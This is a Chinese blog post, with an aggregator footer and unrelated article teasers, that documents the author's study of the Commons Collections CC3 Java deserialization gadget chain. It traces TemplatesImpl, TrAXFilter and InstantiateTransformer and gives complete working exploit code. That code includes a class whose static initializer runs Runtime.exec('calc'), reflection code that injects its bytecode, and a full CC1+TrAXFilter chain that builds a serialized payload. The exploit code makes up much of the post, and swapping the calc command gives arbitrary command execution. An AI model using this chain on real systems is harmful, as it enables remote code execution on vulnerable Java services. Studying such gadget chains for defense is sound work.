CC3学习记录

🌸 CC3

之前学习到的cc1cc6都是通过Runtime进行命令执行的,如果Runtime被加入黑名单的话,整个链子也就失效了。而cc3则是通过动态类加载机制进行任意代码执行的。

🌸 版本限制

JDK版本:8u65

Commons-Collections版本:3.2.1

🌸 动态类加载机制

之前学习过动态类加载机制:ClassLoader中的loadClass方法负责加载,而loadClass中会通过调用defineClass方法从字节中加载一个类。

ClassLoader.loadClass()->ClassLoader.findClass()->ClassLoader.defineClass()

但是这个过程中只进行类加载,并不会进行初始化,所以我们应该找到初始化的地方。

🌸 CC链分析

通过defineClass方法,继续向上找谁调用了defineClass方法。

于是我们在com.sun.org.apache.xalan.internal.xsltc.trax中的TemplatesImpl类中的静态类TransletClassLoader中发现了defineClass方法,他是默认的类型,也就是default类型,只能是在他自己的类中使用。

继续Find Usage:

于是我们在defineTransletClasses方法中找到了调用的地方。更完整的代码如下:

private void defineTransletClasses()throws TransformerConfigurationException {if (_bytecodes == null) {ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);throw new TransformerConfigurationException(err.toString());}TransletClassLoader loader = (TransletClassLoader)AccessController.doPrivileged(new PrivilegedAction() {public Object run() {return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());}});try {final int classCount = _bytecodes.length;_class = new Class[classCount];if (classCount > 1) {_auxClasses = new HashMap<>();}for (int i = 0; i < classCount; i++) {_class[i] = loader.defineClass(_bytecodes[i]);final Class superClass = _class[i].getSuperclass();// Check if this is the main classif (superClass.getName().equals(ABSTRACT_TRANSLET)) {_transletIndex = i;}else {_auxClasses.put(_class[i].getName(), _class[i]);}}if (_transletIndex < 0) {ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);throw new TransformerConfigurationException(err.toString());}}catch (ClassFormatError e) {ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);throw new TransformerConfigurationException(err.toString());}catch (LinkageError e) {ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);throw new TransformerConfigurationException(err.toString());}
}

接下来分析上面的代码:defineTransletClasses类是private属性修饰的,同时这个代码中有一个if (_bytecodes == null)条件,要想继续向下执行我们的目标代码:_class[i] = loader.defineClass(_bytecodes[i]);肯定是要将这个if条件满足的。

  1. if (_bytecodes == null)条件必须要满足:_bytecodes不为空,不然的话就抛异常了!
  2. return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());这个代码中,有一个_tfactory变量,必须要给他赋值,不然的话就会出现空指针异常了。

继续向上找谁调用了defineTransletClasses方法。

于是我们找到了三个地方!三个方法的具体代码如下:

private synchronized Class[] getTransletClasses() {try {if (_class == null) defineTransletClasses();}catch (TransformerConfigurationException e) {// Falls through}return _class;
}

在这个getTransletClasses方法中,同样也是private修饰的。

public synchronized int getTransletIndex() {try {if (_class == null) defineTransletClasses();}catch (TransformerConfigurationException e) {// Falls through}return _transletIndex;
}

getTransletIndex方法是public修饰的。

private Translet getTransletInstance()throws TransformerConfigurationException {try {if (_name == null) return null;if (_class == null) defineTransletClasses();// The translet needs to keep a reference to all its auxiliary// class to prevent the GC from collecting themAbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();translet.postInitialization();translet.setTemplates(this);translet.setServicesMechnism(_useServicesMechanism);translet.setAllowedProtocols(_accessExternalStylesheet);if (_auxClasses != null) {translet.setAuxiliaryClasses(_auxClasses);}return translet;}catch (InstantiationException e) {ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);throw new TransformerConfigurationException(err.toString());}catch (IllegalAccessException e) {ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);throw new TransformerConfigurationException(err.toString());}
}

getTransletInstance方法虽然是private方法修饰的,但是我们找到代码中很重要的初始化过程:AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();这里将加载的class进行了实例化,也就是做了初始化的过程!因为我们就是要执行代码!就是要找到实例化的地方,然而这个方法刚好是满足的!对获取到的_class进行了初始化!这里还是出现了一个条件:if (_name == null) return null;_name变量肯定不能为空!不然return null

继续向上找谁调用了getTransletInstance方法!

于是找到了当前类下面的newTransformer方法中,调用了getTransletInstance方法!在这里我们就找到了一个公开的方法。于是开始尝试利用!

🍂 TemplatesImpl类分析和利用

这里发现该类的构造器是空的!

public TemplatesImpl() { }

同时我们还要满足上面所说的几个条件:

  1. _name不为空,不然的话return null

那就通过反射进行修改:(private属性修饰,所以需要设置可访问)

TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> templatesClass = templates.getClass();
Field nameFeild = templatesClass.getDeclaredField("_name");
nameFeild.setAccessible(true);
nameFeild.set(templates,"aaa");
  1. _bytecodes不为空,不然的话就抛异常了!

这里发现_bytecodes变量是一个二维数组!他的具体的值应该是什么,我们跟进到方法里面去细看:

我们这里发现调用的就是loader.defineClass(_bytecodes[i]),继续跟进发现穿进去的其实是byte[] b是一个一维的数组!

那我们就把_bytecodes里面设置为一个一维数组,再包裹一下就好啦。

Field declaredField = templatesClass.getDeclaredField("_bytecodes");
declaredField.setAccessible(true);byte[] code = Files.readAllBytes(Paths.get("D:\\tmp\\Test.class"));
byte[][] codes = {code};
declaredField.set(templates,codes);
  1. _tfactory变量,必须要给他赋值,不然的话就会出现空指针异常。
private transient TransformerFactoryImpl _tfactory = null;

定位到_tfactory变量的定义地方,发现该变量不仅仅是private,而且还是transient,既然是transient修饰的,那么这个变量是不能序列化的!(在序列化的时候,该变量根本就不会传进去),同时这个变量的类型是TransformerFactoryImpl。直接实例化一个传进去!

//修改_tfactory变量
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());

现在写一个Test类,用于加载,并执行代码:

import java.io.IOException;public class Test {static {try {Runtime.getRuntime().exec("calc");} catch (IOException e) {throw new RuntimeException(e);}}
}

但是当我们执行代码的时候,发现报错了!是空指针异常的错误。

调试,尝试找到原因:

下断点在这里,进行调试:

经过不断的调试,发现在如下的代码中出现了空指针异常:

for (int i = 0; i < classCount; i++) {_class[i] = loader.defineClass(_bytecodes[i]);final Class superClass = _class[i].getSuperclass();// Check if this is the main classif (superClass.getName().equals(ABSTRACT_TRANSLET)) {_transletIndex = i;}else {_auxClasses.put(_class[i].getName(), _class[i]);}
}if (_transletIndex < 0) {ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);throw new TransformerConfigurationException(err.toString());
}

在上述代码中,_auxClasses为空,导致出现了空指针异常。这里有两种方法:

  1. superClass.getName().equals(ABSTRACT_TRANSLET)这个条件为true的话,那就不会进入下面的else,也就不会出现空指针异常啦!
  2. _auxClasses赋值,同样也是不会出现空指针异常!

但是当继续往下看代码的时候,发现其实第二种方式不可取,代码如下:

if (_transletIndex < 0) {ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);throw new TransformerConfigurationException(err.toString());
}

这个代码中通过判断变量_transletIndex是不是小于0,如果是的话,就会报错~ 然而在上面的调试过程图中发现,当执行else的时候,变量_transletIndex就是-1,那么下面的if条件也就满足啦!所以就会报错了。

所以我们只能采用第一种方式,尝试去满足superClass.getName().equals(ABSTRACT_TRANSLET),这样的话成功的进入第一个if条件里面,从而使得_transletIndex = i

跟进到常量ABSTRACT_TRANSLET,发现了他的结果:

private static String ABSTRACT_TRANSLET= "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";

所以我们写的Test类应该要继承上面的这个类!所以重写Test类:

import java.io.IOException;import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;public class Test extends AbstractTranslet{static {try {Runtime.getRuntime().exec("calc");} catch (IOException e) {throw new RuntimeException(e);}}@Overridepublic void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}

因为AbstractTranslet类是一个抽象的类,所以需要去实现它的方法。

这里再次编译Test.java。再次执行代码:

成功弹出计算器!

🍂 TrAXFilter类分析和利用

由于上面的代码是通过newTransformer方法执行的,所以我们这里尝试继续向上找调用点:

所以我们这里就找到了一个类TrAXFilter,源码如下:

刚好是在TrAXFilter类中的构造器中调用的!但是TrAXFilter类是没有继承Serializable接口,所以是不能够进行序列化的。

但是cc3的作者发现了一个专门可以通过反射类动态创建对象的类InstantiateTransformer,我们查看这个类的构造器等代码:

public InstantiateTransformer(Class[] paramTypes, Object[] args) {super();iParamTypes = paramTypes;iArgs = args;
}

有参的构造器需要传入的是Class数组类型的参数类型,和Object数组类型的参数。然后关注到该类中的transform方法:

public Object transform(Object input) {try {if (input instanceof Class == false) {throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a "+ (input == null ? "null object" : input.getClass().getName()));}Constructor con = ((Class) input).getConstructor(iParamTypes);return con.newInstance(iArgs);} catch (NoSuchMethodException ex) {throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");} catch (InstantiationException ex) {throw new FunctorException("InstantiateTransformer: InstantiationException", ex);} catch (IllegalAccessException ex) {throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);} catch (InvocationTargetException ex) {throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);}
}

在这个代码中:通过反射获取class,然后((Class) input).getConstructor(iParamTypes);获取构造器,并将参数传递进去,然后返回一个Object

因为我们要通过TrAXFilter的构造器来创建TrAXFilter对象,所以iParamTypes就是构造器参数的类型,iArgs就是传进去的参数!而transform方法的Object input就是TrAXFilter.class,用于获取class

因此最终的TrAXFilter类的利用代码如下

package org.y4y17;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.InstantiateTransformer;import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;public class cc3 {public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException {TemplatesImpl templates = new TemplatesImpl();Class<? extends TemplatesImpl> templatesClass = templates.getClass();Field nameFeild = templatesClass.getDeclaredField("_name");nameFeild.setAccessible(true);nameFeild.set(templates,"aaa");Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");bytecodesField.setAccessible(true);byte[] code = Files.readAllBytes(Paths.get("D:\\tmp\\Test.class"));byte[][] codes = {code};bytecodesField.set(templates,codes);//修改_tfactory变量Field tfactoryField = templatesClass.getDeclaredField("_tfactory");tfactoryField.setAccessible(true);tfactoryField.set(templates,new TransformerFactoryImpl());//        templates.newTransformer();InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});//下面回去调用transform方法,这里需要传入参数的Object input,这里的input就是TrAXFilter类的对象instantiateTransformer.transform(TrAXFilter.class);}}
🍂 CC1+TrAXFilter利用

最终的利用代码:


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;public class cc3 {public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {TemplatesImpl templates = new TemplatesImpl();Class<? extends TemplatesImpl> templatesClass = templates.getClass();Field nameFeild = templatesClass.getDeclaredField("_name");nameFeild.setAccessible(true);nameFeild.set(templates,"aaa");Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");bytecodesField.setAccessible(true);byte[] code = Files.readAllBytes(Paths.get("C:\\tmp\\Test.class"));byte[][] codes = {code};bytecodesField.set(templates,codes);//修改_tfactory变量Field tfactoryField = templatesClass.getDeclaredField("_tfactory");tfactoryField.setAccessible(true);tfactoryField.set(templates,new TransformerFactoryImpl());//        templates.newTransformer();InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});//下面回去调用transform方法,这里需要传入参数的Object input,这里的input就是TrAXFilter类的对象
//        instantiateTransformer.transform(TrAXFilter.class);Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class),instantiateTransformer};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<String, Object> map = new HashMap<>();map.put("value","aaa");Map<String,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor<?> anntationInvocationHandlerConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);anntationInvocationHandlerConstructor.setAccessible(true);Object o = anntationInvocationHandlerConstructor.newInstance(Target.class, transformedMap);
//        serialization(o);deserialization();}public static void serialization(Object o) throws IOException {ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc3.bin"));objectOutputStream.writeObject(o);objectOutputStream.close();}public static void deserialization() throws IOException, ClassNotFoundException {ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc3.bin"));objectInputStream.readObject();objectInputStream.close();}
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/16519.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

机器学习 ---线性回归

目录 摘要&#xff1a; 一、简单线性回归与多元线性回归 1、简单线性回归 2、多元线性回归 3、残差 二、线性回归的正规方程解 1、线性回归训练流程 2、线性回归的正规方程解 &#xff08;1&#xff09;适用场景 &#xff08;2&#xff09;正规方程解的公式 三、衡量…

麒麟服务器日志采集(服务器端)

服务端配置接收模块和监听端口 vim /etc/rsyslog.conf Copy 在rsyslog.conf内输入以下内容 #### MODULES #### module(load"imudp") # needs to be done just once input(type"imudp" port"514") module(load"imtcp") # needs to …

物联网低功耗广域网LoRa开发(三):Lora人机界面

一、TFT液晶屏驱动开发 &#xff08;一&#xff09;驱动源码移植 &#xff08;二&#xff09;硬件接口初始化 根据硬件设计&#xff0c;LoRa与LCD共用SPI总线&#xff0c;且LCD_MISO用于命令/数据模式切换控制 需要修改gpio初始化源码&#xff0c;让片选接口拉高(三)TFT液晶屏…

Android setTheme设置透明主题无效

【问题现象】 1、首先&#xff0c;你在AndroidManifest.xml中声明一个activity&#xff0c;不给application或者activity设置android:theme, 例如这样&#xff1a; <applicationandroid:allowBackup"true"android:icon"mipmap/ic_launcher"android:lab…

JavaScript--定时器

一.定义 关于JavaScript中的计时事件&#xff1f; JavaScript 一个设定的时间间隔之后来执行代码&#xff0c;我们称之为计时事件&#xff08;菜鸟说…&#xff09; 二.方法 2.1计时器 setInterval() &#xff1a; 是什么&#xff1a;这个方法设置一个定时器&#xff0c;…

数据分析-48-时间序列变点检测之在线实时数据的CPD

文章目录 1 时间序列结构1.1 变化点的定义1.2 结构变化的类型1.2.1 水平变化1.2.2 方差变化1.3 变点检测1.3.1 离线数据检测方法1.3.2 实时数据检测方法2 模拟数据2.1 模拟恒定方差数据2.2 模拟变化方差数据3 实时数据CPD3.1 SDAR学习算法3.2 Changefinder模块3.3 恒定方差CPD3…

厦门凯酷全科技有限公司正规吗?

在这个短视频风起云涌的时代&#xff0c;抖音作为电商领域的黑马&#xff0c;正以惊人的速度改变着消费者的购物习惯与品牌的市场策略。在这场变革中&#xff0c;厦门凯酷全科技有限公司凭借其专业的抖音电商服务&#xff0c;在众多服务商中脱颖而出&#xff0c;成为众多品牌信…

tensorflow案例6--基于VGG16的猫狗识别(准确率99.8%+),以及tqdm、train_on_batch的简介

&#x1f368; 本文为&#x1f517;365天深度学习训练营 中的学习记录博客&#x1f356; 原作者&#xff1a;K同学啊 前言 本次还是学习API和如何搭建神经网络为主&#xff0c;这一次用VGG16去对猫狗分类&#xff0c;效果还是很好的&#xff0c;达到了99.8% 文章目录 1、tqdm…

AI大模型(二):AI编程实践

一、软件安装 1. 安装 Visual Studio Code VSCode官方下载&#xff1a;Visual Studio Code - Code Editing. Redefined 根据自己的电脑系统选择相应的版本下载 安装完成&#xff01; 2. 安装Tongyi Lingma 打开VSCode&#xff0c;点击左侧菜单栏【extensions】&#xff0c;…

Python实现PSO粒子群优化算法优化CNN-Transformer回归模型(优化权重和阈值)项目实战

说明&#xff1a;这是一个机器学习实战项目&#xff08;附带数据代码文档视频讲解&#xff09;&#xff0c;如需数据代码文档视频讲解可以直接到文章最后关注获取。 1.项目背景 本项目旨在利用粒子群优化&#xff08;PSO&#xff09;算法优化卷积神经网络&#xff08;CNN&…

<tauri><websocket>tauri集成web端使用websocket实现数据通讯

前言 本文是在websocket实现通讯的基础上,将前端项目集成到tauri中,以实现桌面窗口程序。 效果展示: 环境配置 系统:windows 平台:visual studio code 语言:javascript、html、rust 库:tauri、nodejs 概述 此前,我的想法是实现网页端与PLC进行socket通讯,利用webs…

Python学习从0到1 day29 Python 高阶技巧 ⑦ 正则表达式

目录 一、正则表达式 二、正则表达式的三个基础方法 1.match 从头匹配 2.search&#xff08;匹配规则&#xff0c;被匹配字符串&#xff09; 3.findall&#xff08;匹配规则&#xff0c;被匹配字符串&#xff09; 三、元字符匹配 单字符匹配&#xff1a; 注&#xff1a; 示例&a…

【鸣潮,原神PC端启动器】仿二次元手游PC端游戏启动器,以鸣潮为例。

二游GAMELauncher启动器 1.前言 许多二次元手游&#xff08;原神&#xff0c;鸣潮&#xff0c;少女前线&#xff09;的PC端启动器都是使用Qt做的&#xff0c;正好最近正在玩鸣潮&#xff0c;心血来潮&#xff0c;便仿鸣潮启动器&#xff0c;从头写一个。先下载一个官方版的PC启…

STM32单片机CAN总线汽车线路通断检测

目录 目录 前言 一、本设计主要实现哪些很“开门”功能&#xff1f; 二、电路设计原理图 1.电路图采用Altium Designer进行设计&#xff1a; 2.实物展示图片 三、程序源代码设计 四、获取资料内容 前言 随着汽车电子技术的不断发展&#xff0c;车辆通信接口在汽车电子控…

H.265流媒体播放器EasyPlayer.js播放器出现加载视频等待画面时长过长的原因排查

在数字媒体时代&#xff0c;用户体验是衡量播放器性能的关键指标之一。EasyPlayer.js网页web无插件播放器作为一款流行的Web视频播放器&#xff0c;其加载速度和响应时间直接影响着用户的观看体验。 1、问题描述 加载视频等待画面时长过长。 2、可能的原因&#xff1a; 检查下…

联想“喜新厌旧”

科技新知 原创作者丨萧维 编辑丨蕨影 十月份&#xff0c;联想很忙。 先是2024联想科技创新大会15日在美国华盛顿州西雅图举行&#xff0c;联想大秀了一下自己在人工智能领域的创新产品、技术和解决方案&#xff0c;英特尔、AMD、英伟达三巨头更同时为其站台&#xff1b;后是与…

fpga 同步fifo

FIFO 基础知识 FIFO&#xff08;First In First Out&#xff0c;即先入先出&#xff09;&#xff0c;是一种数据缓存器&#xff0c;用来实现数据先入先出 的读写方式。在 FPGA 或者 ASIC 中使用到的 FIFO 一般指的是对数据的存储具有先入先出 特性的缓存器&#xff0c;常被用于…

Spark:大数据处理的强大引擎

一、Spark 简介 Apache Spark 是一个专为大规模数据处理而设计的快速、通用、可扩展的大数据分析计算引擎。它诞生于 2009 年&#xff0c;由美国加州伯克利大学的 AMP 实验室开发&#xff0c;2013 年被纳入 Apache 开源项目&#xff0c;并迅速成为顶级项目。 Spark 被认为是 …

常用在汽车PKE无钥匙进入系统的高度集成SOC芯片:CSM2433

CSM2433是一款集成2.4GHz频段发射器、125KHz接收器和8位RISC&#xff08;精简指令集&#xff09;MCU的SOC芯片&#xff0c;用在汽车PKE无钥匙进入系统里。 什么是汽车PKE无钥匙进入系统&#xff1f; 无钥匙进入系统具有无钥匙进入并且启动的功能&#xff0c;英文名称是PKE&…

hive 统计各项目下排名前5的问题种类

实现指定某项目下的数据效果图如下所示&#xff1a; 其中 ABCDE 为前5名的问题种类&#xff0c;其中A问题有124个&#xff08;出现了124次&#xff09; 数据说明&#xff1a; 整个数据集 包含很多项目一个项目 包含很多问题一个问题 选项 可认为是 类别值&#xff0c;所有出…